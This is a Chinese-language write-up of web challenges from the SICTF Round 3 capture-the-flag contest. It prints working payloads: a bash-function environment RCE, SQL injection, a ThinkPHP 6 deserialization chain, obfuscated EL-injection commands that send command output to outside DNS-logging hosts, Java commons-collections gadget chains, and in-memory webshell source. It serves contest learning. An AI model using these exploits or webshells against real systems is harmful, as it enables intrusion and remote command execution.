SICTF-Round3
SICTF-Round3
前言
队友好强啊,啥都会,我就只会web,有两题都没看
web 3/7
服了,0解题熬夜狂干,CC链都写出链子了,结果tm的还不出网,限制了字数,导致我的贼大内存马打不了
试了下最近新学的回显方法,没用,比赛结束后看了出题人WP,回来复现了下
我操,我tm不知道cc链哪出了问题,没成功,换了出题人的CC3,tm的回显全都通了
我的一血啊啊啊啊啊啊啊啊啊
100%_upload
访问看到
http://yuanshen.life:39451/index.php?file=upload.php
一看就是文件包含
又有文件上传
上传个txt的马然后包含就行了
Not just unserialize
都不算pop链了,就是绕过正则RCE
一眼环境变量RCE
public function __isset($name)
{
foreach ($_GET['get'] as $inject => $rce){
putenv("{$inject}={$rce}");
}
system("echo \"Haven't you get the secret?\"");
}
这里有个细节就是题目描述
看似平平无奇的反序列化题,出题人却在dockerfile里添加了这样一行奇怪命令:RUN ln -sf /bin/bash /bin/sh……
可以用回车来满足正则的要求,即\nworries
http://tttang.com/archive/1450/
get[BASH_FUNC_echo%25%25]=()%20{%20cat%20/f*;%20}
go=Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo4OiIKd29ycmllcyI7fX1zOjM6InlvdSI7Tjt9
EZ-SSRF
<?php
highlight_file(__file__);
error_reporting(0);
function get($url) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($curl);
curl_close($curl);
echo base64_encode($data);
return $data;
}
class client{
public $url;
public $payload;
public function __construct()
{
$url = "http://127.0.0.1/";
$payload = "system(\"cat /flag\");";
echo "Exploit";
}
public function __destruct()
{
get($this->url);
}
}
// hint:hide other file
if(isset($_GET['Harder'])) {
unserialize($_GET['Harder']);
} else {
echo "You don't know how to pass parameters?";
}
?>
admin.php
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
$allowed_ip = "127.0.0.1";
if ($_SERVER['REMOTE_ADDR'] !== $allowed_ip) {
die("You can't get flag");
} else {
echo $flag;
}
?>
<?php
class client{
public $url = "http://127.0.0.1/admin.php";
public $payload = "system(\"cat /flag\");";
public function __construct()
{
$url = "";
$payload = "system(\"cat /flag\");";
echo "Exploit";
}
public function __destruct()
{
get($this->url);
}
}
$a = new client();
echo serialize($a);
晨曦WP
file:///var/www/html/flag.php
hacker *
明显的SQL注入,但是会不了一点 (SQL真的不会啊
https://blog.csdn.net/weixin_46330722/article/details/109605941
https://blog.csdn.net/weixin_46330722/article/details/109531387
username=flag'union/**/select/**/(select/**/group_concat(`2`)/**/from/**/(select/**/1,2/**/union/**/select*from/**/flag)n)%23
Oyst3rPHP *
一点没看,不过thinkphp6.0有现成的pop链应该不难
晨曦✌WP
thinkphp6.0*的反序列化、preg_match
和md5的特性。
首先访问/www.zip
,得到源码,看源码的Readme.md
知道这是tp6。
部分源码:
PHP
public function index()
{
echo "RT,一个很简单的Web,给大家送一点分,再送三只生蚝,过年一起吃生蚝哈";
echo "<img src='../Oyster.png'"."/>";
$payload = base64_decode(@$_POST['payload']);
$right = @$_GET['left'];
$left = @$_GET['right'];
$key = (string)@$_POST['key'];
if($right !== $left && md5($right) == md5($left)){
echo "Congratulations on getting your first oyster";
echo "<img src='../Oyster1.png'"."/>";
if(preg_match('/.+?THINKPHP/is', $key)){
die("Oysters don't want you to eat");
}
if(stripos($key, '603THINKPHP') === false){
die("!!!Oysters don't want you to eat!!!");
}
echo "WOW!!!Congratulations on getting your second oyster";
echo "<img src='../Oyster2.png'"."/>";
@unserialize($payload);
//最后一个生蚝在根目录,而且里面有Flag???咋样去找到它呢???它的名字是什么???
//在源码的某处注释给出了提示,这就看你是不是真懂Oyst3rphp框架咯!!!
//小Tips:细狗函数┗|`O′|┛ 嗷~~
}
}
这里先是md5弱比较,然后利用正则回溯最大次数上限绕过 preg_match
,最后是反序列化。
反序列化直接拿网上现成的pop链就行了。
PHP
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key"=>"cat /Oyst3333333r.php"]; // 这里填上命令
private $withAttr = ["key"=>"system"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $name;
public function __construct($obj=""){
$this->name=$obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}
$a=new Pivot();
$b=new Pivot($a);
echo base64_encode(serialize($b));
// TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjc6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTI6IgAqAHdpdGhFdmVudCI7YjowO3M6MTk6IgB0aGlua1xNb2RlbABleGlzdHMiO2I6MTtzOjE4OiIAdGhpbmtcTW9kZWwAZm9yY2UiO2I6MTtzOjc6IgAqAG5hbWUiO086MTc6InRoaW5rXG1vZGVsXFBpdm90Ijo3OntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo3OiIAKgBuYW1lIjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319
因为回溯次数上限默认是 100 万,因此用python写脚本发过去。
PYTHON
import requests
url = "http://yuanshen.life:37255/?left=240610708&right=s878926199a"
data = {"key":'a'*1000100+"603THINKPHP","payload":"TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjc6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTI6IgAqAHdpdGhFdmVudCI7YjowO3M6MTk6IgB0aGlua1xNb2RlbABleGlzdHMiO2I6MTtzOjE4OiIAdGhpbmtcTW9kZWwAZm9yY2UiO2I6MTtzOjc6IgAqAG5hbWUiO086MTc6InRoaW5rXG1vZGVsXFBpdm90Ijo3OntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo3OiIAKgBuYW1lIjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319"}
r = requests.post(url,data).text
print(r)
[进阶]elInjection *
EL表达式,提示很多,目标很明确,但就是没写出来(很烦
赛后看了下别人的WP,回来再修改一下原来的做法,发现又被Runtime的exec给坑了
以后见到exec,里面就用base64
黑名单
list.add("Runtime");
list.add("exec");
list.add("invoke");
list.add("exec");
list.add("Process");
list.add("ClassLoader");
list.add("load");
list.add("Response");
list.add("Request");
list.add("Base64Utils");
list.add("ReflectUtils");
list.add("getWriter");
list.add("Thread");
list.add("defineClass");
list.add("bcel");
list.add("RequestAttributes");
list.add("File");
list.add("flag");
list.add("URL");
list.add("Command");
list.add("Inet");
list.add("System");
list.add("\\u");
list.add("\\x");
list.add("'");
我的做法
利用ScriptEngineManager获取js,利用js的String.fromCharCode
进行绕过
curl `whoami`.vabueyf6.requestrepo.com
java.lang.Runtime.getRuntime().exec("bash -c {echo,Y3VybCBgd2hvYW1pYC52YWJ1ZXlmNi5yZXF1ZXN0cmVwby5jb20=}|{base64,-d}|{bash,-i}")
${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("eval(String.fromCharCode(106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,34,98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,51,86,121,98,67,66,103,100,50,104,118,89,87,49,112,89,67,53,50,89,87,74,49,90,88,108,109,78,105,53,121,90,88,70,49,90,88,78,48,99,109,86,119,98,121,53,106,98,50,48,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125,34,41,59))")}
当然当时没有一个很好的接受dns的网站,导致我一直不确定是我的错了还是网站不行
现在看别人用的收集了一个(嘻嘻
晨曦WP
通过java的 charAt 与 toChars 获取字符,在由 toString 转字符串再用 concat 拼接来绕过一些敏感字符的过滤。
import requests
import base64
def encode(payload):
encode_payload = ""
for i in range(0, len(payload)):
if i == 0:
encode_payload += "true.toString().charAt(0).toChars(%d)[0].toString()" % ord(payload[0])
else:
encode_payload += ".concat(true.toString().charAt(0).toChars(%d)[0].toString())" % ord(payload[i])
return encode_payload
# 这里填命令
cmd = b"curl `/readflag`.kbqsag.ceye.io"
#print(base64.b64encode(cmd))
exp = '${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(%s)}' % (encode("java.lang.Runtime.getRuntime().exec(\"bash -c {echo,"+base64.b64encode(cmd).decode()+"}|{base64,-d}|{bash,-i}\")"))
#print(exp)
url = "http://yuanshen.life:23333/test"
data = {'exp': exp}
r = requests.post(url, data).text
print(r)
太麻烦了,没我的方便
预期解
预期是不出网的,等WP出了再补充
双层scriptenginemanager的eval解密base64,base64的内容为bcel打内存马
String s1 = "$$BCEL$$"+ Utility.encode(Repository.lookupClass(memshell.class).getBytes(),true);
String s2 = "new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass(\""+s1+"\").newInstance()";
String s3 = Base64.getEncoder().encodeToString(s2.getBytes());
String s4 = "java.lang.Class.forName(\\\"javax.script.ScriptEngineManager\\\").newInstance().getEngineByName(\\\"JavaScript\\\").eval(new java.lang.String(java.util.Base64.getDecoder().decode(\\\""+s3+"\\\")))";
String exp = "${\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\""+s4+"\")}";
System.out.println((exp));
出题人的马没成功,改进了一下
import java.io.PrintWriter;
import java.lang.reflect.Method;
import java.util.Scanner;
public class memshell {
static {
try {
Class requestContextHolder = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = requestContextHolder.getDeclaredMethod("getRequestAttributes");
Object obj = m.invoke(null);
m = obj.getClass().getMethod("getRequest");
Object request = m.invoke(obj);
m = obj.getClass().getMethod("getResponse");
Object response = m.invoke(obj);
m = request.getClass().getMethod("getParameter", String.class);
String cmd = (String) m.invoke(request, "cmd");
if(cmd == null){
cmd = "id";
}
String[] cmds;
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
cmds = new String[]{"cmd", "/c", cmd};
} else {
cmds = new String[]{"sh", "-c", cmd};
}
String output = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
m = response.getClass().getMethod("getWriter");
PrintWriter printWriter = (PrintWriter) m.invoke(response);
printWriter.println(output);
printWriter.flush();
printWriter.close();
} catch (Exception var11) {
}
}
}
【进阶】CC_deserialize *
遗憾啊,0解题痛失一血,
截取的聊天段落
思路完全是跟着出题人的hint走的
所以才会写出预期解
rmi二次反序列化就不说了,自己去看
二次反序列化 看我一命通关 - 跳跳糖 (tttang.com)
关键点在这两处
总所周知,
AnnotationInvocationHandler.readObject->AbstractInputCheckedMapDecorator.setValue->TransformedMap.checkSetValue->InvokerTransformer.transform
这是一个完整且普通的CC链,一般执行完transform弹出计算器我们就结束了
但这里我们可以继续利用
关键点1
执行完transform
方法后的结果是会被返回回来的
在你调试完rmi二次反序列化之后,你会知道要想成功执行RMIConnector
的connect
方法,setValue的参数value要为我们设置的RMIConnector
的对象
那这里就要考虑执行完transform方法后如何返回我们的恶意RMIConnector
对象
这里熟悉所有CC链的师傅就会想到ConstantTransformer
它的transform方法就是返回构造函数时传入他的参数
花了半个小时才想到
关键点二
我们正常的该链子可以看到这里的entry是HashMap$Node
,之后就结束了
要想再次进入AbstractInputCheckedMapDecorator.setValue
我们想办法把他变为
这里我是这样做的
HashMap<Object,Object> hash = new HashMap<Object,Object>();
hash.put("value","value");
Map<Object,Object> transmap1 = TransformedMap.decorate(hash,null,invokerTransformer);
ConstantTransformer constantTransformer = new ConstantTransformer(rmiConnector);
Map<Object,Object> transmap = TransformedMap.decorate(transmap1,null,constantTransformer);
把实例化的TransformedMap
当作Map传入另一个TransformedMap
的decorate
中
要说原因的话
TransformedMap是AbstractInputCheckedMapDecorator的实现类
emm,应该是吧,这样理解一下就行
完整链子
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.AbstractMapEntryDecorator;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.naming.ConfigurationException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
public class RMIChain {
public static void main(String[] args) throws Exception {
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/恶意base64");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
HashMap<Object,Object> hash = new HashMap<Object,Object>();
hash.put("value","value");
Map<Object,Object> transmap1 = TransformedMap.decorate(hash,null,invokerTransformer);
ConstantTransformer constantTransformer = new ConstantTransformer(rmiConnector);
Map<Object,Object> transmap = TransformedMap.decorate(transmap1,null,constantTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler instance = (InvocationHandler) constructor.newInstance(Target.class,transmap);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(instance);
oos.close();
// String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
// System.out.println(base64String);
// System.out.println(base64String.length());
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
内存马
遗憾的是这里并不出网,要打内存马
但是它限制了exp的长度不超过8000,(我不懂内存马,用了一个以前收集的一个,发现长度一万多)
这里直接心态爆炸
但其实我有找到回显方法,只不过我用的cc4的链子有问题 (本地都能弹计算器,我咋知道有问题
换了出题人的CC3后去复现就可以了,不知道为什么(服了
回到内存马,要用javassist去缩减payload长度
给出出题人的回显代码
public static byte[] payload() throws NotFoundException, CannotCompileException, IOException {
String s="public MyClassLoader(){ javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();\n" +
" java.lang.reflect.Field r=request.getClass().getDeclaredField(\"request\");\n" +
" r.setAccessible(true);" +
" org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();\n"+
" String s =new Scanner(Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream()).next();" +
" response.setHeader(\"night\", s);}";
ClassPool classPool = ClassPool.getDefault();
classPool.importPackage(Scanner.class.getName());
CtClass ctClass = classPool.get(AbstractTranslet.class.getName());
CtClass calc = classPool.makeClass("MyClassLoader");
calc.setSuperclass(ctClass);
CtConstructor ctConstructor = CtNewConstructor.make(s, calc);
calc.addConstructor(ctConstructor);
return calc.toBytecode();
}
还是要用出题人的CC3,cc4我没成功
我是sb,都没common-collection4的依赖咋打cc4(服了
public static String CC3Exp() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = payload1();
byte[][] codes = {code};
bytecodesField.set(templates, codes);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");
Class<LazyMap> c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
ByteArrayOutputStream bao = new ByteArrayOutputStream();
new ObjectOutputStream(bao).writeObject(map2);
return Base64.getEncoder().encodeToString(bao.toByteArray()).replaceAll("\\s*", "");
}
出题人的分析思路(其实一样啦
首先走cc1动态代理链子的
AnnotationInvocationHandler.readObject->AbstractInputCheckedMapDecorator.setValue->TransformedMao.checkSetValue
反序列化的时候,AbstractInputCheckedMapDecorator.setValue中的entry.setValue(value);的entry还是AbstractInputCheckedMapDecorator,再次调用了当前这个方法
先进入了TransformedMap的checkSetValue,这时候调用valueTransformer.transform(value),valueTransformer调用transform这时候返回的值为
ConstantTransformer,返回iConstant(rmi二次反序列化)
再次调用entry.setValue(value);
这时候就是
调用了rmi二次反序列化了
所以链子为AnnotationInvocationHandler.readObject->AbstractInputCheckedMapDecorator.setValue->TransformedMap.checkSetValue->AbstractInputCheckedMapDecorator.setValue->TransformedMap.checkSetValue->InvokerTransformer.transform然后走rmi二次反序列化
且exp的字数统计不能大于8000
这个时候就是通过javassist去写一个马进去,来防止字数超过
结果
finally
只能说非常可惜啊,从晚上十一二点开始看CC,没想到还是没做出来,sbCC4,唉